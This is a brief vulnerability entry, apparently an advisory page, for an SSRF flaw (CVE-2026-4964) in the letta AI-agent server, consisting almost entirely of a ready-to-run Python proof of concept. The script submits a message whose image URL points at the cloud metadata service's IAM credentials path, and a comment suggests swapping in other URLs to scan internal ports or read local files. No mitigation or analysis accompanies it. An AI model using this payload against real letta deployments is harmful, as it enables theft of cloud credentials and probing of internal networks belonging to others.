CVE-2026-4964 letta-ai letta服务端请求伪造漏洞

import requests # Target URL of the vulnerable letta instance target_url = "http://target-host:port/api/message/create" # Malicious payload targeting internal metadata service (SSRF) # Attacker can change the URL to scan internal ports or access local files malicious_image_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = { "role": "user", "content": "Analyze this image", "image_content": { "type": "image_url", "image_url": { "url": malicious_image_url } } } try: # Send the malicious request response = requests.post(target_url, json=payload) print(f"Status Code: {response.status_code}") print("Response:") print(response.text) except Exception as e: print(f"An error occurred: {e}")